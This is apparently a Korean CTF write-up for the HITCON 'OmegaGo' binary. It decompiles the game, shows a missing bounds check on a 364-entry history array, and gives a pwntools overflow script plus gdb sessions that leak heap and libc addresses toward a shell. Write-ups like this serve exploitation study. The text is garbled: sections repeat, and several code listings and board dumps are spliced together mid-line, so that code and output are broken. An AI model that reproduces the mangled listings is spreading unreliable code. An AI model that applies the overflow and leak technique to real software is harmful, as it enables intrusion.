...
- 해당 함수는 다음과 같은 기능을 합니다.
setDefGameinfo() 함수를 통해 게임 진행시 필요한 변수의 초기화를 선언합니다.
"operator new(8uLL)" 코드를 이용하여 AI, HUMAN 변수에 Heap 영역(8byte)을 할당합니다.
- 각 Class 별 할당되는 Heap의 크기는 16byte 입니다.
setAIFunction(), setHUMANFunction() 함수를 이용해 할당 받은 영역에 호출할 함수의 주소를 저장합니다.
while()을 통해 게임을 플레이하기 위한 기능을 실행합니다.
gettimeofday() 함수를 이용하여 플레이어의 게임 플레이 시간을 계산합니다.
rowNumber, colNumber 의 값이 -1과 같다면 게임을 종료합니다.
- rowNumber, colNumber 의 값이 -2일 경우에는 게임 턴을 한차례 돌리는 regret()함수를 호출합니다.
- 그외의 rowNumber, colNumber 값이 입력 되면 플레이어의 플레이시간을 저장합니다.
- 총 플레이시간이 0.0보다 작으면 게임을 종료합니다.
- 총 플레이시간이 0.0보다 크면 SetMarkForBoard()함수를 이용하여 게임 보드 rowNumber,colNumber 위치에 표시합니다.
Code Block | ||||
---|---|---|---|---|
| ||||
__int64 OmegaGo() { Method *AI; // rbx Method *HUMAN; // rbx unsigned int rowNumber; // [rsp+Ch] [rbp-64h] unsigned int colNumber; // [rsp+10h] [rbp-60h] int playerNum; // [rsp+14h] [rbp-5Ch] double playTime; // [rsp+18h] [rbp-58h] struct timeval startTime; // [rsp+20h] [rbp-50h] struct timeval endTime; // [rsp+30h] [rbp-40h] Method *player[2]; // [rsp+40h] [rbp-30h] unsigned __int64 v10; // [rsp+58h] [rbp-18h] v10 = __readfsqword(0x28u); setDefGameinfo(); playerNum = 1; AI = (Method *)operator new(8uLL); AI->Play = 0LL; setAIFunction(AI); player[0] = AI; HUMAN = (Method *)operator new(8uLL); HUMAN->Play = 0LL; setHUMANFunction(HUMAN); player[1] = HUMAN; while ( !((unsigned __int8)sub_401202(playerNum, &gPlayerGameInfo) ^ 1) ) { gettimeofday(&startTime, 0LL); (*player[playerNum - 1]->Play)(player[playerNum - 1], &gPlayerGameInfo, playerNum, &rowNumber, &colNumber); gettimeofday(&endTime, 0LL); playTime = (double)(LODWORD(endTime.tv_usec) - LODWORD(startTime.tv_usec)) / 1000000.0 + (double)(LODWORD(endTime.tv_sec) - LODWORD(startTime.tv_sec)); if ( rowNumber == -1 || colNumber == -1 ) break; if ( rowNumber != -2 && colNumber != -2 ) { *(double *)&gPlayerGameInfo.board[playerNum - 1 + 14LL] = *(double *)&gPlayerGameInfo.board[playerNum - 1 + 14LL] - playTime; if ( *(double *)&gPlayerGameInfo.board[playerNum - 1 + 14LL] < 0.0 ) print("Time's up"); SetMarkForBoard(&gPlayerGameInfo, rowNumber, colNumber, playerNum, 0); playerNum ^= 3u; } else if ( (unsigned __int8)regret() ^ 1 ) { print("No you cant't"); } } CheckResults(); PlayHistory(); return PlayAgain(); } |
DefaultSet
Code Block |
---|
unsigned __int64 DefaultSet()
{
const char *v0; // rsi
signed int i; // [rsp+0h] [rbp-20h]
signed int j; // [rsp+4h] [rbp-1Ch]
signed int k; // [rsp+8h] [rbp-18h]
int l; // [rsp+Ch] [rbp-14h]
FILE *stream; // [rsp+10h] [rbp-10h]
unsigned __int64 v7; // [rsp+18h] [rbp-8h]
v7 = __readfsqword(0x28u);
v0 = "rb";
stream = fopen("/dev/urandom", "rb");
for ( i = 0; i <= 18; ++i )
{
for ( j = 0; j <= 18; ++j )
{
for ( k = 0; k <= 2; ++k )
{
v0 = (const char *)1;
if ( fread(&qword_607260[k + 3LL * j + 57LL * i], 1uLL, 8uLL, stream) != 8 )
print("WT..");
}
}
}
fclose(stream);
for ( l = 0; l < gHistoryCount; ++l )
{
operator delete(gHistory[l]);
gHistory[l] = 0LL;
}
sub_402FA8(&unk_607220, v0);
gHistoryCount = 0;
sub_40210A(&gPlayerGameInfo);
return __readfsqword(0x28u) ^ v7;
} |
SetMarkForBoard
해당 함수는 다음과 같은 기능을 합니다.
player 변수의 값을 이용해 플레이어의 마크를 결정합니다.
saveMarkofBoard() 함수와 마크를 저장할 좌표 값(row, col)을 이용해gameinfo.Board[] 영역에 값을 저장합니다.
각종 함수를 이용해 플레이어가 마크를 저장하길 원하는 위치 값이 타당한지 확인합니다.
CheckBoardArea(), GetMarkForBoard(), checkLocation(), ...
- 입력한 위치 값이 정상적이지 않으면 메시지를 출력하고 프로그램을 종료합니다.
- 입력한 위치 값가 정상적이라면 해당 gameInfo를 gHistory[]에 저장합니다.
- "operator new(0x80)" 코드에 의해 Heap 영역을 할당합니다.
- 할당된 Heap 영역의 주소 값을 gHistory[]변수에 저장합니다.
- 취약성은 여기서 발생합니다.
- GameInfo 구조체를 사용하는 gHistory[]의 크기는 364 입니다.
- gHistory[] 배열에 저장된 번호가 364를 넘는지에 대한 확인이 없습니다.
- 즉, 유저가 입력한 값이 364회가 넘으면 gPlayerGameInfo 영역에 Overflow됩니다.
SetMarkForBoard
해당 함수는 다음과 같은 기능을 합니다.
player 변수의 값을 이용해 플레이어의 마크를 결정합니다.
saveMarkofBoard() 함수와 마크를 저장할 좌표 값(row, col)을 이용해gameinfo.Board[] 영역에 값을 저장합니다.
각종 함수를 이용해 플레이어가 마크를 저장하길 원하는 위치 값이 타당한지 확인합니다.
CheckBoardArea(), GetMarkForBoard(), checkLocation(), ...
- 입력한 위치 값이 정상적이지 않으면 메시지를 출력하고 프로그램을 종료합니다.
- 입력한 위치 값가 정상적이라면 해당 gameInfo를 gHistory[]에 저장합니다.
- "operator new(0x80)" 코드에 의해 Heap 영역을 할당합니다.
- 할당된 Heap 영역의 주소 값을 gHistory[]변수에 저장합니다.
- 취약성은 여기서 발생합니다.
- GameInfo 구조체를 사용하는 gHistory[]의 크기는 364 입니다.
- gHistory[] 배열에 저장된 번호가 364를 넘는지에 대한 확인이 없습니다.
- 즉, 유저가 입력한 값이 364회가 넘으면 gPlayerGameInfo 영역에 Overflow됩니다.
Code Block |
---|
signed __int64 __fastcall SetMarkForBoard(GameInfo *gameinfo, unsigned int inputRow, unsigned int inputCol, int player, unsigned __int8 printOpt)
{
signed __int64 result; // rax
signed int mark; // eax MAPDST
bool v7; // al
GameInfo *historyCount; // rax
GameInfo *saveGameInfo; // ST30_8
signed int i; // [rsp+24h] [rbp-2Ch]
unsigned int row; // [rsp+28h] [rbp-28h]
unsigned int col; // [rsp+2Ch] [rbp-24h]
if ( (unsigned __int8)GetMarkForBoard((__int64)gameinfo, inputRow, inputCol) == '.' )
{
if ( player == 1 )
mark = 'O';
else
mark = 'X';
saveMarkofBoard((__int64)gameinfo, inputRow, inputCol, mark);
gameinfo->rowNumber = inputRow;
gameinfo->colNumber = inputCol;
for ( i = 0; i <= 3; ++i )
{
row = dword_404FE0[i] + inputRow;
col = dword_404FF0[i] + inputCol;
v7 = (unsigned __int8)CheckBoardArea(row) ^ 1 || (unsigned __int8)CheckBoardArea(col) ^ 1;
if ( !v7
&& (char)GetMarkForBoard((__int64)gameinfo, row, col) == 0xA7 - mark
&& (unsigned int)checkLocation((__int64)gameinfo, row, col) == 0 )
{
sub_4024C2((__int64)gameinfo, row, col);
}
}
if ( (unsigned int)checkLocation((__int64)gameinfo, inputRow, inputCol) == 0 )
{
if ( !printOpt )
print("Why you do this :((");
result = 0LL;
}
else |
Code Block |
signed __int64 __fastcall SetMarkForBoard(GameInfo *gameinfo, unsigned int inputRow, unsigned int inputCol, int player, unsigned __int8 printOpt) { signed __int64 result; // rax signed int mark; // eax MAPDST bool v7; // al GameInfo *historyCount; // rax GameInfo *saveGameInfo; // ST30_8 signed int i; // [rsp+24h] [rbp-2Ch] unsigned int row; // [rsp+28h] [rbp-28h] unsigned int col; // [rsp+2Ch] [rbp-24h] if ( (unsigned __int8)GetMarkForBoardsub_402528((__int64)gameinfo, inputRow,printOpt) inputCol) == '.' ){ { if ( player == 1!printOpt ) mark = 'O'; else print("Wanna Ko Fight?"); markresult = 'X'0LL; saveMarkofBoard((__int64)gameinfo, inputRow, inputCol, mark);} else gameinfo->rowNumber = inputRow; { if ( gameinfo->colNumberprintOpt != 1 inputCol;) for ({ i = 0; i <= 3; ++i ) { LODWORD(gameinfo->player) = mark; rowhistoryCount = dword_404FE0[i] + inputRow(GameInfo *)operator new(0x80uLL); col = dword_404FF0[i] + inputCol; *historyCount = *gameinfo; v7saveGameInfo = historyCount; (unsigned __int8)CheckBoardArea(row) ^ 1 || (unsigned __int8)CheckBoardArea(col LODWORD(historyCount) ^= 1gHistoryCount++; if ( !v7 && (char)GetMarkForBoard((__int64)gameinfo, row, col) == 0xA7 - mark gHistory[(signed int)historyCount] = saveGameInfo; } && (unsigned int)checkLocation((__int64)gameinfo, row, col)result == 0 )1LL; } {} else { if sub_4024C2((__int64)gameinfo, row, col); !printOpt ) }print("You cheater!"); } result = 0LL; if} ( (unsigned int)checkLocation((__int64)gameinfo, inputRow, inputCol) == 0 ) { if ( !printOpt ) print("Why you do this :(("); result = 0LL; } else if ( (unsigned __int8)sub_402528((__int64)gameinfo, printOpt) ) { if ( !printOpt ) print("Wanna Ko Fight?"); result = 0LL; } else { if ( printOpt != 1 ) { LODWORD(gameinfo->player) = mark; historyCount = (GameInfo *)operator new(0x80uLL); *historyCount = *gameinfo; saveGameInfo = historyCount; LODWORD(historyCount) = gHistoryCount++; gHistory[(signed int)historyCount] = saveGameInfo; } result = 1LL; } } else { if ( !printOpt ) print("You cheater!"); result = 0LL; } return result; } |
Debuging
Overflow
- 다음과 같은 코드를 이용하여 gameInfo 전역 변수의 값을 Overflow할 수 있습니다.
Code Block | ||||
---|---|---|---|---|
| ||||
from pwn import *
#context.log_level = 'debug'
col_list = ['A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S']
p = process('omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac')
def Play(location):
p.recvuntil('\n\n')
p.sendline(location)
def Fill(colStart, colEnd, row):
for colNum in range(col_list.index(colStart),col_list.index(colEnd)+1):
locate = str(col_list[colNum])
locate += str(row)
Play(locate)
Fill('B','S',11)
for count in reversed(range(1,9)):
Fill('A','S',count)
Fill('A','A',11)
Fill('A','K',12)
p.interactive() |
- 디버깅 전에 각 전역 변수의 위치를 알아야 합니다.
- gGameInfo : 0x609FC0
- gHistory : 0x609460
- gGameInfo Address(0x609FC0) - gHistory(0x609460) = 0xb60(2912) / 0x8(address len) = 364
- 다음은 디버깅을 통해 확인한 내용입니다.
- gameInfo(0x609fc0) 전역 변수에 heap address(0x609fc0)값이 저장된 것을 확인 할 수 있습니다.
Code Block | ||
---|---|---|
| ||
lazenca0x0@ubuntu:~/CTF/HITCON/OmegaGo$ gdb -q -p 3491
Attaching to process 3491
gdb-peda$ x/gx 0x609FC0
0x609fc0: 0x0000000000b94da0
gdb-peda$ x/10gx 0x609FC0
0x609fc0: 0x0000000000b94da0 0x0000000000000000
0x609fd0: 0x0000000000000000 0x0000000000000000
0x609fe0: 0xaaaa0000aaaaa800 0x50000100002aaaaa
0x609ff0: 0x5554000155555555 0x0000000000000055
0x60a000: 0x0000000000000000 0x0000000000000000 |
- 해당 Overflow를 통해 출력되는 Board의 내용이 변경된 것을 확인 할 수 있습니다.
- 우리는 해당 정보를 이용하여 heap address를 추출 할 수 있습니다.
return result;
} |
Debuging
Overflow
- 다음과 같은 코드를 이용하여 gameInfo 전역 변수의 값을 Overflow할 수 있습니다.
Code Block | ||||
---|---|---|---|---|
| ||||
from pwn import *
#context.log_level = 'debug'
col_list = ['A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S']
p = process('omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac')
def Play(location):
p.recvuntil('\n\n')
p.sendline(location)
def Fill(colStart, colEnd, row):
for colNum in range(col_list.index(colStart),col_list.index(colEnd)+1):
locate = str(col_list[colNum])
locate += str(row)
Play(locate)
Fill('B','S',11)
for count in reversed(range(1,9)):
Fill('A','S',count)
Fill('A','A',11)
Fill('A','K',12)
p.interactive() |
- 디버깅 전에 각 전역 변수의 위치를 알아야 합니다.
- gGameInfo : 0x609FC0
- gHistory : 0x609460
- gPlayerGameInfo Address(0x609FC0) - gHistory(0x609460) = 0xb60(2912) / 0x8(address len) = 364
- 다음은 디버깅을 통해 확인한 내용입니다.
- gPlayerGameInfo(0x609fc0) 전역 변수에 heap address(0x609fc0)값이 저장된 것을 확인 할 수 있습니다.
Code Block | ||
---|---|---|
| ||
lazenca0x0@ubuntu:~/CTF/HITCON/OmegaGo$ gdb -q -p 3491
Attaching to process 3491
gdb-peda$ x/gx 0x609FC0
0x609fc0: 0x0000000000b94da0
gdb-peda$ x/10gx 0x609FC0
0x609fc0: 0x0000000000b94da0 0x0000000000000000
0x609fd0: 0x0000000000000000 0x0000000000000000
0x609fe0: 0xaaaa0000aaaaa800 0x50000100002aaaaa
0x609ff0: 0x5554000155555555 0x0000000000000055
0x60a000: 0x0000000000000000 0x0000000000000000 |
- 해당 Overflow를 통해 출력되는 Board의 내용이 변경된 것을 확인 할 수 있습니다.
- 우리는 해당 정보를 이용하여 heap address를 추출 할 수 있습니다.
Code Block | ||
---|---|---|
| ||
lazenca0x0@ubuntu:~/CTF/HITCON/OmegaGo$ python test.py
[!] Cold not find executable 'omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac' in $PATH, using './omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac' instead
[+] Starting local process './omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac': pid 3491
[*] Switching to interactive mode
ABCDEFGHIJKLMNOPQRS
19 ..XXO\x00.OOX\x00X.......
18 ...................
17 ...................
16 ...................
15 ...................
14 ...................
13 ...................
12 XXXXXXXXXXX........
11 XXXXXXXXXXXXXXXXXXX
10 .........O.........
9 OOOOOOOOOOOOOOOOOOO
8 ........OOOOOOOOOOO
7 ...................
6 | ||
Code Block | ||
| ||
lazenca0x0@ubuntu:~/CTF/HITCON/OmegaGo$ python test.py [!] Cold not find executable 'omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac' in $PATH, using './omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac' instead [+] Starting local process './omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac': pid 3491 [*] Switching to interactive mode ABCDEFGHIJKLMNOPQRS 19 ..XXO\x00.OOX\x00X....... 18 ................... 17 5 ................... 16 4 ................... 15 3 ................... 14 2 ................... 13 1 ................... 12 XXXXXXXXXXX........ 11 XXXXXXXXXXXXXXXXXXX 10 .........O......... 9 OOOOOOOOOOOOOOOOOOO 8 ........OOOOOOOOOOO 7 ................... 6 ................... 5 ......Time remain: O: 180.00, X: 179.84 $ |
Decode
- 화면에 출력된 Address를 해석하기 위해서는 Board에 저장되는 Mark의 값이 어떻게 관리 되는지 확인이 필요합니다.
- 다음과 같이 유저가 좌표 값을 입력하면 메모리 값은 다음과 같이 변경됩니다.
유저가 입력한 값은 0x609fc0 영역에 0x2가 저장됩니다.
컴퓨터가 입력한 값은 0x60a01A 영역에 0x1가 저장됩니다.
Code Block | ||
---|---|---|
| ||
lazenca0x0@ubuntu:~/CTF/HITCON/OmegaGo$ gdb -q ./omega*
Reading symbols from ./omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac...(no debugging symbols found)...done.
gdb-peda$ r
Starting program: /home/lazenca0x0/CTF/HITCON/OmegaGo/omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac
...Print board...
Time remain: O: 180.00, X: 180.00
A19
...Print board...
Time remain: O: 180.00, X: 171.04
^C
Program received signal SIGINT, Interrupt.
gdb-peda$ x/12gx 0x609FC0
0x609fc0: 0x0000000000000002 0x0000000000000000
0x609fd0: 0x0000000000000000 0x0000000000000000
0x609fe0: 0x0000000000000000 0x0000010000000000
0x609ff0: 0x0000000000000000 0x0000000000000000
0x60a000: 0x0000000000000000 0x0000000000000000
0x60a010: 0x0000000000000000 0x0000000000010000
gdb-peda$ |
- 다음과 같이 추가적인 메모리의 변화를 확인합니다.
사용자 입력을 통해 19행을 모두 채우면 메모리에 다음과 같이 저장됩니다.
유저가 입력한 값은 0x2aaaaaaaaa 입니다.
컴퓨터가 입력한 값은 0x01555555555 입니다.
Code Block | ||
---|---|---|
| ||
ABCDEFGHIJKLMNOPQRS 19 XXXXXXXXXXXXXXXXXXX 18 ............. 4 ...... 17 ............. 3...... 16 ................... 215 ................... 114 ................... Time remain: O: 180.00, X: 179.84 $ |
Decode
- 화면에 출력된 Address를 해석하기 위해서는 Board에 저장되는 Mark의 값이 어떻게 관리 되는지 확인이 필요합니다.
- 다음과 같이 유저가 좌표 값을 입력하면 메모리 값은 다음과 같이 변경됩니다.
유저가 입력한 값은 0x609fc0 영역에 0x2가 저장됩니다.
컴퓨터가 입력한 값은 0x60a01A 영역에 0x1가 저장됩니다.
Code Block | ||
---|---|---|
| ||
lazenca0x0@ubuntu:~/CTF/HITCON/OmegaGo$ gdb -q ./omega*
Reading symbols from ./omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac...(no debugging symbols found)...done.
gdb-peda$ r
Starting program: /home/lazenca0x0/CTF/HITCON/OmegaGo/omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac
...Print board...
Time remain: O: 180.00, X: 180.00
A19
...Print board...
Time remain: O: 180.00, X: 171.04
^C
Program received signal SIGINT, Interrupt.
gdb-peda$ x/12gx 0x609FC0
0x609fc0: 0x0000000000000002 0x0000000000000000
0x609fd0: 0x0000000000000000 0x0000000000000000
0x609fe0: 0x0000000000000000 0x0000010000000000
0x609ff0: 0x0000000000000000 0x0000000000000000
0x60a000: 0x0000000000000000 0x0000000000000000
0x60a010: 0x0000000000000000 0x0000000000010000
gdb-peda$ |
- 다음과 같이 추가적인 메모리의 변화를 확인합니다.
사용자 입력을 통해 19행을 모두 채우면 메모리에 다음과 같이 저장됩니다.
유저가 입력한 값은 0x2aaaaaaaaa 입니다.
컴퓨터가 입력한 값은 0x01555555555 입니다.
Code Block | ||
---|---|---|
| ||
ABCDEFGHIJKLMNOPQRS 19 XXXXXXXXXXXXXXXXXXX 18 13 ................... 12 ................... 11 ................... 10 .........O......... 9 ................... 8 .......... 17 ................... 16 7 ................... 15 6 ................... 14 5 ................... 13 4 ................... 12 3 ................... 11 2 ................... 10 .........O......... 9 ................... 8 ................... 7 ................... 6 ................... 5 ................... 4 ................... 3 ................... 2 ................... 1 OOOOOOOOOOOOOOOOOOO Time remain: O: 180.00, X: 141.02 ^C Program received signal SIGINT, Interrupt. 0x00007ffff75e66b0 in __read_nocancel () at ../sysdeps/unix/syscall-template.S:81 81 ../sysdeps/unix/syscall-template.S: No such file or directory. gdb-peda$ x/12gx 0x609FC0 0x609fc0: 0x0000002aaaaaaaaa 0x0000000000000000 0x609fd0: 0x0000000000000000 0x0000000000000000 0x609fe0: 0x0000000000000000 0x0000010000000000 0x609ff0: 0x0000000000000000 0x0000000000000000 0x60a000: 0x0000000000000000 0x0000000000000000 0x60a010: 0x5555500000000000 0x0000000000015555 gdb-peda$ 1 OOOOOOOOOOOOOOOOOOO Time remain: O: 180.00, X: 141.02 ^C Program received signal SIGINT, Interrupt. 0x00007ffff75e66b0 in __read_nocancel () at ../sysdeps/unix/syscall-template.S:81 81 ../sysdeps/unix/syscall-template.S: No such file or directory. gdb-peda$ x/12gx 0x609FC0 0x609fc0: 0x0000002aaaaaaaaa 0x0000000000000000 0x609fd0: 0x0000000000000000 0x0000000000000000 0x609fe0: 0x0000000000000000 0x0000010000000000 0x609ff0: 0x0000000000000000 0x0000000000000000 0x60a000: 0x0000000000000000 0x0000000000000000 0x60a010: 0x5555500000000000 0x0000000000015555 gdb-peda$ |
- Board에 저장되는 값을 다음과 같은 방법으로 관리됩니다.
- Board영역에 저장되는 값을 bit를 이용해
- Board영역에 저장되는 값을 bit를 이용해 저장될 값을 결정합니다.
- 다음과 같은 bit값을 이용해 player를 구분합니다.
- AI : 10 bit
- Humman : 01bit
...
- payload를 바탕으로 공격을 위해 알아내어야 할 정보는 다음과 같습니다.
Panel | ||
---|---|---|
| ||
|
공격에 필요한 정보 수집
surrender
- 정보 수집을 진행하기 전에 알아야 할 정보가 있습니다.
- 그것은 바로 surrender 명령어 호출시 할당되는 Heap 영역의 변화입니다.
- surrender명령어를 입력하고 게임을 다시 시작하면, MainFunction()함수를 다시 호출합니다.
- 여기서 중요한 부분은 DefaultSet() 함수 입니다.
- DefaultSet()는 다음과 같은 기능을 합니다.
- History[] 배열에 저장된 내용을 삭제 합니다.
sub_40210A()함수를 호출해 gameInfo 의 데이터도 초기화 합니다.
Code Block | ||||
---|---|---|---|---|
| ||||
__int64 DefaultSet()
{
signed int row; // [rsp+0h] [rbp-20h]@1
signed int col; // [rsp+4h] [rbp-1Ch]@2
signed int playerCnt; // [rsp+8h] [rbp-18h]@3
int i; // [rsp+Ch] [rbp-14h]@12
FILE *stream; // [rsp+10h] [rbp-10h]@1
__int64 v6; // [rsp+18h] [rbp-8h]@1
v6 = *MK_FP(__FS__, 40LL);
stream = fopen("/dev/urandom", "rb");
for ( row = 0; row <= 18; ++row )
{
for ( col = 0; col <= 18; ++col )
{
for ( playerCnt = 0; playerCnt <= 2; ++playerCnt )
{
if ( fread(&qword_607260[playerCnt + 3LL * col + 57LL * row], 1uLL, 8uLL, stream) != 8 )
print("WT..");
}
}
}
fclose(stream);
for ( i = 0; i < historyCount; ++i )
{
operator delete(history[i]);
history[i] = 0LL;
}
sub_402FA8((__int64)&unk_607220);
historyCount = 0;
sub_40210A((__int64)&gameInfo);
return *MK_FP(__FS__, 40LL) ^ v6;
} |
- 여기서 중요한 것은 vtable(Computer, Humman)에 대한 해제가 없다는 것입니다.
- "Surrender"명령어를 실행할 때 마다 Computer, Human에서 사용하는 vtable 영역(0x40byte)이 매번 생성됩니다.
- 이로 인해 gameInfo 내용을 저장할 Heap 주소의 위치가 변경됩니다.
- 다음은 디버깅을 통해 확인한 메모리의 변화 입니다.
- 첫 플레이 정보를 저장하기 위한 Heap 영역의 주소는 0x60b080 입니다.
surrender 명령 실행 후 첫 플레이 정보를 저장 주소는 0x60b0c0 입니다.
- 다시 surrender 명령 실행 후 첫 플레이 정보를 저장 주소는 0x60b100 입니다.
- 각 0x40byte 차이가 납니다.
- 처음에 할당 받은 메모리 영역에는 vtable 정보를 저장하기 위한 heap 영역이 할당되어 있습니다.
Code Block | ||
---|---|---|
| ||
autolycos@ubuntu:~/CTF/HITCON/OmegaGo$ gdb -q ./omega*
Reading symbols from ./omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac...(no debugging symbols found)...done.
(gdb) b *0x04027C3
Breakpoint 1 at 0x4027c3
(gdb) r
Starting program: /home/autolycos/CTF/HITCON/OmegaGo/omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac
Breakpoint 1, 0x00000000004027c3 in ?? ()
(gdb) x/i $rip
=> 0x4027c3: callq 0x400f70 <_Znwm@plt>
(gdb) ni
0x00000000004027c8 in ?? ()
(gdb) i r rax
rax 0x60b080 6336640
(gdb) c
Continuing.
...
surrender
...
Play again? (y/n)
y
Breakpoint 1, 0x00000000004027c3 in ?? ()
(gdb) ni
0x00000000004027c8 in ?? ()
(gdb) i r rax
rax 0x60b0c0 6336704
(gdb) c
Continuing.
...
surrender
...
Play again? (y/n)
y
Breakpoint 1, 0x00000000004027c3 in ?? ()
(gdb) ni
0x00000000004027c8 in ?? ()
(gdb) i r rax
rax 0x60b100 6336768
(gdb) x/18gx 0x60b080
0x60b080: 0x0000000000405040 0x0000000000000000
0x60b090: 0x0000000000000000 0x0000000000000021
0x60b0a0: 0x0000000000405020 0x0000010000000000
0x60b0b0: 0x0000000000000000 0x0000000000000021
0x60b0c0: 0x0000000000405040 0x0000000000000000
0x60b0d0: 0x0000000000000000 0x0000000000000021
0x60b0e0: 0x0000000000405020 0x0000010000000000
0x60b0f0: 0x0000000000000000 0x0000000000000091
0x60b100: 0x0000000000000000 0x0000000000000000
(gdb) |
Leak Llibc address
Panel | ||
---|---|---|
| ||
|
공격에 필요한 정보 수집
Leak Libc address
- 다음과 같은 방법을 이용해 Libc address를 추출할 수 있습니다.
- 앞에서 작성한 스크립트 코드에 의해 gPlayerGameInfo(0x609fc0) 전역 변수에 heap address(0x609fc0)값이 저장되었습니다.
- 이 값은 사용자의 입력 값으로 변경될 수 있습니다.
- 공격자는 gameInfo 전역 변수를 덮어쓸수 있으며, gameInfo에 값을 입력할 수 있습니다.
- 이를 이용하여 해당 프로그램에서 shell을 획득할 수 있습니다.
- 다음과 같은 방법으로 Libc address를 메모리에 저장할 수 있습니다.
"regret" 명령어를 입력합니다.
- DeletePlayHistory()함수에서는 History[] 배열 끝에 저장된 2개의 Heap주소를 할당 해제 하게됩니다.
- 이로 인해 해제된 메모리 영역에 Heap 영역에 Libc address를 저장할 수 있습니다.
- 다음은 디버깅을 통해 확인한 내용입니다.
- history[] 배열 마지막에 저장된 heap address 2개는 0x0201a180, 0x0201a0c0 입니다.
- 0x0201a0c0이 마지막으로 할당 해제 됩니다.
- 0x0201a0c0에는 GameInfo 구조체의 값을 저장하고 있습니다.
- "regret" 명령어 실행 후에는 0x1ca40c0 영역에 Libc address(0x00007fd2579d47b8)가 저장됩니다.
- 사실 0x00007fd2579d47b8는 Libc address가 아닙니다.
- 해당 프로세스의 메모리 맵을 보면 "/lib/x86_64-linux-gnu/libc-2.19.so"가 사용하는 메모리 뒷부분입니다.
- 하지만 이 값을 이용하여 Libc address base의 offset을 구할 수 있습니다.
0x7fd2579d47b8 - 0x7fd257616000 = 0x3be7b8
Code Block | ||
---|---|---|
| ||
(gdb) x/12gx 0x609FC0 - 0x10
0x609fb0: 0x000000000201a000 0x000000000201a0c0
0x609fc0: 0x000000000201a180 0x0000000000000000
0x609fd0: 0x0000000000000000 0x0000000000000000
0x609fe0: 0xaaaa0000aaaaa800 0x50000100002aaaaa
0x609ff0: 0x5554000155555555 0x0000000000000055
0x60a000: 0x0000000000000000 0x0000000000000000
(gdb) x/18gx 0x000000000201a0c0
0x201a0c0: 0x0000000000000000 0x0000000000000000
0x201a0d0: 0x0000000000000000 0x0000000000000000
0x201a0e0: 0xaaaa0000aaaaa800 0x50000100002aaaaa
0x201a0f0: 0x5550000155555555 0x0000000000000055
0x201a100: 0x0000000000000000 0x0000000000000000
0x201a110: 0x0000000000000000 0x0000000000000000
0x201a120: 0x0000000a00000007 0x0000000000000058
0x201a130: 0x40667fdc209246b8 0x40666f6b9e492bc5
0x201a140: 0x0000000000000000 0x0000000000000031
(gdb) c
Continuing.
regret
^C
Program received signal SIGINT, Interrupt.
0x00007fd2577016b0 in __read_nocancel () at ../sysdeps/unix/syscall-template.S:81
81 in ../sysdeps/unix/syscall-template.S
(gdb) x/18gx 0x0000000001ca40c0
0x1ca40c0: 0x00007fd2579d47b8 0x00007fd2579d47b8
0x1ca40d0: 0x0000000000000000 0x0000000000000000
0x1ca40e0: 0xaaaa0000aaaaa800 0x50000100002aaaaa
0x1ca40f0: 0x5550000155555555 0x0000000000000055
0x1ca4100: 0x0000000000000000 0x0000000000000000
0x1ca4110: 0x0000000000000000 0x0000000000000000
0x1ca4120: 0x0000000a00000007 0x0000000000000058
0x1ca4130: 0x40667fe2174c4cdb 0x406670861e92923f
0x1ca4140: 0x0000000000000090 0x0000000000000030
(gdb) info proc map
process 4778
Mapped address spaces:
Start Addr End Addr Size Offset objfile
0x400000 0x407000 0x7000 0x0 /home/autolycos/CTF/HITCON/OmegaGo/omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac
0x606000 0x607000 0x1000 0x6000 /home/autolycos/CTF/HITCON/OmegaGo/omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac
0x607000 0x608000 0x1000 0x7000 /home/autolycos/CTF/HITCON/OmegaGo/omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac
0x608000 0x60b000 0x3000 0x0
0x1c93000 0x1cb4000 0x21000 0x0 [heap]
0x7fd257310000 0x7fd257415000 0x105000 0x0 /lib/x86_64-linux-gnu/libm-2.19.so
0x7fd257415000 0x7fd257614000 0x1ff000 0x105000 /lib/x86_64-linux-gnu/libm-2.19.so
0x7fd257614000 0x7fd257615000 0x1000 0x104000 /lib/x86_64-linux-gnu/libm-2.19.so
0x7fd257615000 0x7fd257616000 0x1000 0x105000 /lib/x86_64-linux-gnu/libm-2.19.so
0x7fd257616000 0x7fd2577d0000 0x1ba000 0x0 /lib/x86_64-linux-gnu/libc-2.19.so
0x7fd2577d0000 0x7fd2579d0000 0x200000 0x1ba000 /lib/x86_64-linux-gnu/libc-2.19.so
0x7fd2579d0000 0x7fd2579d4000 0x4000 0x1ba000 /lib/x86_64-linux-gnu/libc-2.19.so
0x7fd2579d4000 0x7fd2579d6000 0x2000 0x1be000 /lib/x86_64-linux-gnu/libc-2.19.so
0x7fd2579d6000 0x7fd2579db000 0x5000 0x0
0x7fd2579db000 0x7fd2579f1000 0x16000 0x0 /lib/x86_64-linux-gnu/libgcc_s.so.1
0x7fd2579f1000 0x7fd257bf0000 0x1ff000 0x16000 /lib/x86_64-linux-gnu/libgcc_s.so.1
0x7fd257bf0000 0x7fd257bf1000 0x1000 0x15000 /lib/x86_64-linux-gnu/libgcc_s.so.1
0x7fd257bf1000 0x7fd257cd7000 0xe6000 0x0 /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.19
0x7fd257cd7000 0x7fd257ed6000 0x1ff000 0xe6000 /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.19
0x7fd257ed6000 0x7fd257ede000 0x8000 0xe5000 /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.19
0x7fd257ede000 0x7fd257ee0000 0x2000 0xed000 /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.19
